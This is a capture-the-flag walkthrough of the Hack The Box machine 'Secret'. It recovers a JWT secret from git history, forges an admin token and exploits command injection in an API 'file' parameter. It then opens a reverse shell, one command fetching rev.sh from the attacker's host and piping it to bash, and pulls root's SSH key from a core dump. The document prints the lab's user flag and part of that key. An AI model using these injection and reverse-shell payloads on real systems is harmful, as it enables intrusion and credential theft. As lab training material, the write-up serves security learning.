Description Hackthebox release new machine called secret, in this machine we need to analyze too much code and find hard coded jwt secret and then abuse that jwt secret to get rev shell. privesc is bit tricky we need to crash the application running as root and get the root id_rsa inside coredump file.
Nmap
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ nmap - sC - sV - oA nmap / result 10.10 . 11.120
Starting Nmap 7.91 ( https : //nmap.org ) at 2021-10-31 23:41 CDT
Nmap scan report for 10.10 . 11.120
Host is up (0.082 s latency ).
Not shown : 997 closed ports
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 8.2 p1 Ubuntu 4 ubuntu0 . 3 ( Ubuntu Linux ; protocol 2.0 )
| ssh - hostkey :
| 3072 97 : af : 61 : 44 : 10 : 89 : b9 : 53 : f0 : 80 : 3 f : d7 : 19 : b1 : e2 : 9 c ( RSA )
| 256 95 : ed : 65 : 8 d : cd : 08 : 2 b : 55 : dd : 17 : 51 : 31 : 1 e : 3 e : 18 : 12 ( ECDSA )
| _ 256 33 : 7 b : c1 : 71 : d3 : 33 : 0 f : 92 : 4 e : 83 : 5 a : 1 f : 52 : 02 : 93 : 5 e ( ED25519 )
80 / tcp open http nginx 1.18 . 0 ( Ubuntu )
| _http - server - header : nginx / 1.18 . 0 ( Ubuntu )
| _http - title : DUMB Docs
3000 / tcp open http Node . js ( Express middleware )
| _http - title : DUMB Docs
Service Info : OS : Linux ; CPE : cpe : / o : linux : linux_kernel
Service detection performed . Please report any incorrect results at https : //nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up ) scanned in 16.92 seconds
There are three ports open 22:ssh,80:http,3000:http(Node.js)
Port-80
It’s a simple
web page with source code
download.
First let’s click
on live demo
.
it’s a /api
page but we don’t known the routes
that’s why it’s giving us 404
error. we use gobuster or wfuzz etc for finding the routes
but first let’s check the source code
.
Let’s download
it.
Let’s unzip
the file.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ ls - al
total 28176
drwxr - xr - x 1 root root 18 Oct 31 23 : 49 .
drwxr - xr - x 1 root root 24 Oct 31 23 : 49 ..
- rw - r -- r -- 1 dedsec dedsec 28849603 Oct 31 23 : 48 files . zip
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ unzip files . zip
I think it’s a source
code of the api
endpoint. first i check the .env
file because in every project
all creads and secret
are in that file.
If we closely
see there is a .git
directory which contain all commits
in the past let’s dump
that first.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ ls
files . zip local - web
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ cd local - web /
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / local - web]
└──╼ [★]$ ls - al
total 84
drwxrwxr - x 1 root root 182 Sep 3 00 : 57 .
drwxr - xr - x 1 root root 36 Oct 31 23 : 49 ..
- rw - rw - r -- 1 root root 72 Sep 3 00 : 59 . env
drwxrwxr - x 1 root root 144 Sep 8 13 : 33 . git
- rw - rw - r -- 1 root root 885 Sep 3 00 : 56 index . js
drwxrwxr - x 1 root root 14 Aug 12 23 : 42 model
drwxrwxr - x 1 root root 4158 Aug 12 23 : 42 node_modules
- rw - rw - r -- 1 root root 491 Aug 12 23 : 42 package . json
- rw - rw - r -- 1 root root 69452 Aug 12 23 : 42 package- lock . json
drwxrwxr - x 1 root root 20 Sep 3 00 : 54 public
drwxrwxr - x 1 root root 80 Sep 3 01 : 32 routes
drwxrwxr - x 1 root root 22 Aug 12 23 : 42 src
- rw - rw - r -- 1 root root 651 Aug 12 23 : 42 validations . js
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / local - web]
└──╼ [★]$ cat . env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
I use gitTool
extractor for that you can use
any other tool
which you like.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ mkdir git_dump
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ / opt / GitTools / Extractor / extractor . sh local - web / git_dump /
The extractor
take his sweet time so i think let’s analyze
the files.
First i check index.js
file and i found routes
folder which contain a file called auth for authentication
and second i find the /api
endpoint called /api/user
.
After that i check the auth.js
file inside routes folder.
Inside that file
i found another endpoint of the api called /register
were we register our user and the password
is stored in hash
format with random salt
string with it.
and below that code we got the required
parameter to pass for register
our user eg. (name,email,password)
And inside same
file i got the /login
endpoint code which check the username and password
if they both are correct
the server give me the jwt
token that generated with the TOKEN_SECRET
The problem is we don’t have the TOKEN_SECRET
in the current .env
file they remove the TOKEN_SECRET
but i guess in past commits the TOKEN_SECRET
will be there inside .env
file.
Let’s check the git-extractor
which we run in the background
.
The git-extractor
extract the 6 commits
in the past let’s first check the .env
file for TOKEN_SECRET
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ ls - al
total 0
drwxr - xr - x 1 root root 504 Nov 1 00 : 05 .
drwxr - xr - x 1 root root 52 Oct 31 23 : 56 ..
drwxr - xr - x 1 root root 204 Oct 31 23 : 59 0 - 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr - xr - x 1 root root 220 Nov 1 00 : 00 1 - 55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr - xr - x 1 root root 204 Nov 1 00 : 02 2 - e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr - xr - x 1 root root 204 Nov 1 00 : 03 3 - de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr - xr - x 1 root root 220 Nov 1 00 : 05 4 - 3a367e735ee76569664bf7754eaaade7c735d702
drwxr - xr - x 1 root root 204 Nov 1 00 : 06 5 - 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
I check every .env
file and i found the TOKEN_SECRET
that’s good for us we can take advantage
of that but before doing that let’s check
the other files inside routes
folder.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ ls - al
total 0
drwxr - xr - x 1 root root 504 Nov 1 00 : 05 .
drwxr - xr - x 1 root root 52 Oct 31 23 : 56 ..
drwxr - xr - x 1 root root 204 Oct 31 23 : 59 0 - 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr - xr - x 1 root root 220 Nov 1 00 : 00 1 - 55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr - xr - x 1 root root 204 Nov 1 00 : 02 2 - e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr - xr - x 1 root root 204 Nov 1 00 : 03 3 - de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr - xr - x 1 root root 220 Nov 1 00 : 05 4 - 3a367e735ee76569664bf7754eaaade7c735d702
drwxr - xr - x 1 root root 204 Nov 1 00 : 06 5 - 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ cat 0 - 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 / . env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ cat 1 - 55fe756a29268f9b4e786ae468952ca4a8df1bd8 / . env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ cat 2 - e297a2797a5f62b6011654cf6fb6ccb6712d2d5b / . env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ cat 3 - de0a46b5107a2f4d26e348303e76d85ae4870934 / . env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ cat 4 - 3a367e735ee76569664bf7754eaaade7c735d702 / . env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www / git_dump]
└──╼ [★]$ cat 5 - 4e5547295cfe456d8ca7005cb823e1101fd1f9cb / . env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
Checking the verifytoken.js
file and found that how the server verify
the token they check your jwt token with his TOKEN_SECRET
that’s the way he known your jwt
token is created with his TOKEN_SECRET
or not.
Next check the private.js
file which contains another endpoint called /priv
which will check your name == 'theadmin'
or not. i think it’s use for checking your privilege
of your user you are admin
or not.
And further
reading the same file i found another endpoint
called /logs
which check you are admin
or not if you are admin they allow us to input a command
with file parameter which they directly execute with exec
command and return the output
.
We can use that functionality
for our advantage to execute some malicious
command but for that we need admin
privilege.
Let’s use api/user/register
endpoint for register
our user.
First let’s conform
that we can’t register
as theadmin.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl http: //10.10.11.120/api/user/register --data '{"name": "theadmin","email": "admin@dedsec.com","password": "admin123"}' -H 'Content-Type: application/json' -vvv
* Trying 10.10 . 11.120 : 80. ..
* Connected to 10.10 . 11.120 ( 10.10 . 11.120 ) port 80 (# 0 )
> POST / api / user / register HTTP / 1.1
> Host: 10.10 . 11.120
> User - Agent: curl / 7.74 . 0
> Accept: * /*
> Content-Type: application/json
> Content-Length: 71
>
* upload completely sent off: 71 out of 71 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 05:51:00 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 18
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"12-bovfAO8maqeTuF6NiWgD46KUq3k"
<
* Connection #0 to host 10.10.11.120 left intact
Name already Exist
As expected theadmin
user is already exist. let’s use the space
in starting of the username
and check it’s bypass the authentication
or not.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl http: //10.10.11.120/api/user/register --data '{"name": " theadmin","email": "admin@admin.com","password": "admin123"}' -H 'Content-Type: application/json' -vvv
* Trying 10.10 . 11.120 : 80. ..
* Connected to 10.10 . 11.120 ( 10.10 . 11.120 ) port 80 (# 0 )
> POST / api / user / register HTTP / 1.1
> Host: 10.10 . 11.120
> User - Agent: curl / 7.74 . 0
> Accept: * /*
> Content-Type: application/json
> Content-Length: 71
>
* upload completely sent off: 71 out of 71 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 05:50:24 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 20
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"14-LWrfBFPQd+iUl+P35I+Rt9MzQss"
<
* Connection #0 to host 10.10.11.120 left intact
{"user":" theadmin"}
hmm we register
as theadmin but there is space in front of the username
. let’s try to login with that creads
and get the jwt
token.
we got the jwt
token let’s check on /priv
endpoint that we are admin
or not.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl http: //10.10.11.120/api/user/login --data '{"email": "admin@admin.com","password": "admin123"}' -H 'Content-Type: application/json' -vvv
* Trying 10.10 . 11.120 : 80. ..
* Connected to 10.10 . 11.120 ( 10.10 . 11.120 ) port 80 (# 0 )
> POST / api / user / login HTTP / 1.1
> Host: 10.10 . 11.120
> User - Agent: curl / 7.74 . 0
> Accept: * /*
> Content-Type: application/json
> Content-Length: 51
>
* upload completely sent off: 51 out of 51 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 05:52:59 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 209
< Connection: keep-alive
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoiIHRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBhZG1pbi5jb20iLCJpYXQiOjE2MzU3NDU5Nzl9.yqFCKWgKMkCL5fHrMx_d-TFJmOJUSJzyEVB8p3XK_cs
< ETag: W/"d1-lgho+bsVhMn0yS9syScUC4Xv0OM"
<
* Connection #0 to host 10.10.11.120 left intact
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoiIHRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBhZG1pbi5jb20iLCJpYXQiOjE2MzU3NDU5Nzl9.yqFCKWgKMkCL5fHrMx_d-TFJmOJUSJzyEVB8p3XK_cs
And we see we are not an admin
because of space in front of our username
but the catch is we have the TOKEN_SECRET
so we edit the jwt
token and generate theadmin
user privilege jwt token let’s try that out.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl http: //10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoiIHRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBhZG1pbi5jb20iLCJpYXQiOjE2MzU3NDU5Nzl9.yqFCKWgKMkCL5fHrMx_d-TFJmOJUSJzyEVB8p3XK_cs'
{ "role" :{ "role" : "you are normal user" , "desc" : " theadmin" }}
Link : https://jwt.io/
I use this site
for edit the jwt
token you can use cli
version of that too.
First i paste my jwt
token in that and get the information
of jwt token in the right.
I remove the space
in front of my username
.
After that i add the TOKEN_SECRET
inside verify signature
tab and we got the theadmin
user jwt token.
Now let’s check this jwt
token is correct or not.
And we see it’s a correct
token and we are admin
now.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl http: //10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
{ "creds" :{ "role" : "admin" , "username" : "theadmin" , "desc" : "welcome back admin" }}
i try to get the /etc/passwd
file but i can’t. let’s try with semicolon
.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl http: //10.10.11.120/api/logs?file=../../../../../../../../etc/passwd -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
{ "killed" : false , "code" : 128 , "signal" : null , "cmd" : "git log --oneline ../../../../../../../../etc/passwd" }
Boom we got rce
let’s try to get the rev
shell.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl 'http://10.10.11.120/api/logs?file=;cat+/etc/passwd' - H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
"80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
root:x: 0 : 0 :root: / root: / bin / bash
daemon:x: 1 : 1 :daemon: / usr / sbin: / usr / sbin / nologin
bin:x: 2 : 2 :bin: / bin: / usr / sbin / nologin
sys:x: 3 : 3 :sys: / dev: / usr / sbin / nologin
sync:x: 4 : 65534 :sync: / bin: / bin / sync
games:x: 5 : 60 :games: / usr / games: / usr / sbin / nologin
man:x: 6 : 12 :man: / var /cache/man : / usr / sbin / nologin
lp:x: 7 : 7 :lp: / var /spool/lpd : / usr / sbin / nologin
mail:x: 8 : 8 :mail: / var /mail : / usr / sbin / nologin
news:x: 9 : 9 :news: / var /spool/news : / usr / sbin / nologin
uucp:x: 10 : 10 :uucp: / var /spool/uucp : / usr / sbin / nologin
proxy:x: 13 : 13 :proxy: / bin: / usr / sbin / nologin
www - data:x: 33 : 33 :www - data: / var /www : / usr / sbin / nologin
backup:x: 34 : 34 :backup: / var /backups : / usr / sbin / nologin
list:x: 38 : 38 :Mailing List Manager: / var /list : / usr / sbin / nologin
irc:x: 39 : 39 :ircd: / var /run/ircd : / usr / sbin / nologin
gnats:x: 41 : 41 :Gnats Bug - Reporting System (admin): / var /lib/gnats : / usr / sbin / nologin
nobody:x: 65534 : 65534 :nobody: / nonexistent: / usr / sbin / nologin
systemd - network:x: 100 : 102 :systemd Network Management,,,: / run / systemd: / usr / sbin / nologin
systemd - resolve:x: 101 : 103 :systemd Resolver,,,: / run / systemd: / usr / sbin / nologin
systemd - timesync:x: 102 : 104 :systemd Time Synchronization,,,: / run / systemd: / usr / sbin / nologin
messagebus:x: 103 : 106 :: / nonexistent: / usr / sbin / nologin
syslog:x: 104 : 110 :: / home / syslog: / usr / sbin / nologin
_apt:x: 105 : 65534 :: / nonexistent: / usr / sbin / nologin
tss:x: 106 : 111 :TPM software stack,,,: / var /lib/tpm : / bin / false
uuidd:x: 107 : 112 :: /run/ uuidd : / usr / sbin / nologin
tcpdump:x: 108 : 113 :: / nonexistent: / usr / sbin / nologin
landscape:x: 109 : 115 :: / var /lib/landscape : / usr / sbin / nologin
pollinate:x: 110 : 1 :: / var /cache/pollinate : / bin / false
usbmux:x: 111 : 46 :usbmux daemon,,,: / var /lib/usbmux : / usr / sbin / nologin
sshd:x: 112 : 65534 :: / run / sshd: / usr / sbin / nologin
systemd - coredump:x: 999 : 999 :systemd Core Dumper: / : / usr / sbin / nologin
dasith:x: 1000 : 1000 :dasith: / home / dasith: / bin / bash
lxd:x: 998 : 100 :: / var /snap/lxd/common/lxd : / bin / false
mongodb:x: 113 : 117 :: / var /lib/mongodb : / usr / sbin / nologin
"┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Secret ]
└──╼ [★]$ curl 'http://10.10.11.120/api/logs?file=;id' - H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
"80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
uid = 1000 (dasith) gid = 1000 (dasith) groups = 1000 (dasith)
"┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Secret ]
└──╼ [★]$ curl 'http://10.10.11.120/api/logs?file=;whoami' - H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
"80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
dasith
"
First let’s create a file called rev.sh
inside that file add bash
rev shell and start the python3
server.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ cat rev . sh
# !/ bin / bash
bash - c 'bash -i >& /dev/tcp/10.10.14.116/9001 0>&1'
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret / www]
└──╼ [★]$ python3 - m http . server 80
Serving HTTP on 0.0 . 0.0 port 80 ( http : //0.0.0.0:80/) ...
Before calling the file
and pipe it over to bash
start your netcat listner on 9001
.
┌───[us - free - 1 ]─[ 10.10 . 14.116 ]─[root@parrot]─[ ~/ Desktop / HTB / Secret]
└──╼ [★]$ curl 'http://10.10.11.120/api/logs?file=;curl+http://10.10.14.116/rev.sh+|+bash' - H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmODAyMGRhM2I2ZTA0NWFiYjVkNzIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlhdCI6MTYzNTc0NTk3OX0.BEXJ3tkhppyn0fpLJHnUtmJ9Mm89eOwC4NF38Ce3Z60'
Boom we got the shell
and get the user.txt
file.
dasith@secret: ~/ local - web$ cd ~
dasith@secret: ~ $ ls
local - web user . txt
dasith@secret: ~ $ cat user . txt
3ef7abd996fbc02eda423174a6fe4dc0
Privilege escalation
Before running LinPEAS
let’s do some manual
enumeration.
When i check /opt
directory i found a executable binary
with the suid bit set permission
called count and also find his source code inside code.c
file.
dasith@secret: ~ $ cd / opt /
dasith@secret: / opt$ ls - al
total 56
drwxr - xr - x 2 root root 4096 Oct 7 10 : 06 .
drwxr - xr - x 20 root root 4096 Oct 7 15 : 01 ..
- rw - r -- r -- 1 root root 3736 Oct 7 10 : 01 code . c
- rw - r -- r -- 1 root root 16384 Oct 7 10 : 01 . code . c . swp
- rwsr - xr - x 1 root root 17824 Oct 7 10 : 03 count
- rw - r -- r -- 1 root root 4622 Oct 7 10 : 04 valgrind . log
dasith@secret: / opt$
After analyzing the code.c
file i found that it’s open
a file with the path which we give while executing
the binary then he counts the character
and lines and words inside that and print
the output.
Then in the main
function i found a prctl
function that generate
the coredump.
I research on prctl
function and i found these useful links.
Link : https://man7.org/linux/man-pages/man2/prctl.2.html
Link : https://wiki.ubuntu.com/Apport
Link : https://wiki.ubuntu.com/CrashReporting
After reading that i decide to crash
the program because we don’t have write
permission to edit the code.c
file and when we crash the program while executing
the binary it’s take that file buffer
and add the content inside /var/crash/
directory because when any program crash unexpectedly
in linux distro the coredump is save in /var/crash
directory.
So for that we need two rev
shell first is for executing the binary
second is for kill
the process.
execute the binary
enter the path of root ssh id_rsa file
enter y to conform
now in 2nd rev shell find the process
then kill the process
Now let’s go to /var/crash
directory.
Now we need to convert
this crash file into coredump file using apport-unpack
.
dasith@secret: / opt$ cd / var /crash/
dasith@secret: / var /crash$ ls -al
total 92
drwxrwxrwt 2 root root 4096 Nov 2 02 : 34 .
drwxr - xr - x 14 root root 4096 Aug 13 05 : 12 ..
- rw - r ----- 1 root root 27203 Oct 6 18 : 01 _opt_count.0. crash
- rw - r ----- 1 dasith dasith 31446 Nov 2 02 : 34 _opt_count.1000. crash
- rw - r ----- 1 root root 24048 Oct 5 14 : 24 _opt_countzz.0. crash
dasith@secret: / var /crash$ mkdir /tmp/dump
dasith@secret: / var /crash$ apport-unpack _opt_count.1000.crash /tmp/dump/
Now let’s check the /tmp/dump
directory.
dasith@secret: / tmp / dump$ ls - al
total 436
drwxr - xr - x 2 dasith dasith 4096 Nov 2 02 : 36 .
drwxrwxrwt 18 root root 4096 Nov 2 02 : 35 ..
- rw - r -- r -- 1 dasith dasith 5 Nov 2 02 : 36 Architecture
- rw - r -- r -- 1 dasith dasith 380928 Nov 2 02 : 36 CoreDump
- rw - r -- r -- 1 dasith dasith 24 Nov 2 02 : 36 Date
- rw - r -- r -- 1 dasith dasith 12 Nov 2 02 : 36 DistroRelease
- rw - r -- r -- 1 dasith dasith 10 Nov 2 02 : 36 ExecutablePath
- rw - r -- r -- 1 dasith dasith 10 Nov 2 02 : 36 ExecutableTimestamp
- rw - r -- r -- 1 dasith dasith 5 Nov 2 02 : 36 ProblemType
- rw - r -- r -- 1 dasith dasith 7 Nov 2 02 : 36 ProcCmdline
- rw - r -- r -- 1 dasith dasith 4 Nov 2 02 : 36 ProcCwd
- rw - r -- r -- 1 dasith dasith 64 Nov 2 02 : 36 ProcEnviron
- rw - r -- r -- 1 dasith dasith 2144 Nov 2 02 : 36 ProcMaps
- rw - r -- r -- 1 dasith dasith 1350 Nov 2 02 : 36 ProcStatus
- rw - r -- r -- 1 dasith dasith 1 Nov 2 02 : 36 Signal
- rw - r -- r -- 1 dasith dasith 29 Nov 2 02 : 36 Uname
- rw - r -- r -- 1 dasith dasith 3 Nov 2 02 : 36 UserGroups
dasith@secret: / tmp / dump$
Let’s strings the CoreDump
file and check if there is any id_rsa
of root.
dasith@secret: / tmp / dump$ strings CoreDump | less
And we got the id_rsa
of root.
id_rsa_root
----- BEGIN OPENSSH PRIVATE KEY -----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw / hFlpRPaKRbi3
KUZsBKygoOvzmhzWYcs413UDJqUMWs + o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw +
7wNrxitkPrmuViWPGQCotBDCZmn4WNbNT0kcsfA + b4xB + am6tyDthqjfPJngROf0Z26lA1
xw0OmoCdyhvQ3azlbkZZ7EWeTtQ / EYcdYofa8 / mbQ + amOb9YaqWGiBai69w0Hzf06lB8cx
8G + KbGPcN174a666dRwDFmbrd9nc9E2YGn5aUfMkvbaJoqdHRHGCN1rI78J7rPRaTC8aTu
BKexPVVXhBO6 + e1htuO31rHMTHABt4 + 6K4wv7YvmXz3Ax4HIScfopVl7futnEaJPfHBdg2
5yXbi8lafKAGQHLZjD9vsyEi5wqoVOYalTXEXZwOrstp3Y93VKx4kGGBqovBKMtlRaic + Y
Tv0vTW3fis9d7aMqLpuuFMEHxTQPyor3 +/ aEHiLLAAAFiMxy1SzMctUsAAAAB3NzaC1yc2
EAAAGBAJ + sy5Zu0DhhmcrVAjt0jaUeb3Q38Tc5X5FMOJzMP4RZaUT2ikW4tylGbASsoKDr
85oc1mHLONd1AyalDFrPqPTsHqtL4sENUCZlcM76hYxTUsc1xFaI5qAnj8Pu8Da8YrZD65
rlYljxkAqLQQwmZp + FjWzU9JHLHwPm + MQfmpurcg7Yao3zyZ4ETn9GdupQNccNDpqAncob
0N2s5W5GWexFnk7UPxGHHWKH2vP5m0Pmpjm / WGqlhogWouvcNB839OpQfHMfBvimxj3Dde
+ GuuunUcAxZm63fZ3PRNmBp + WlHzJL22iaKnR0RxgjdayO / Ce6z0WkwvGk7gSnsT1VV4QT
uvntYbbjt9axzExwAbePuiuML + 2L5l89wMeByEnH6KVZe37rZxGiT3xwXYNucl24vJWnyg
BkBy2Yw / b7MhIucKqFTmGpU1xF2cDq7Lad2Pd1SseJBhgaqLwSjLZUWonPmE79L01t34rP
Xe2jKi6brhTBB8U0D8qK9 / v2hB4iywAAAAMBAAEAAAGAGkWVDcBX1B8C7eOURXIM6DEUx3
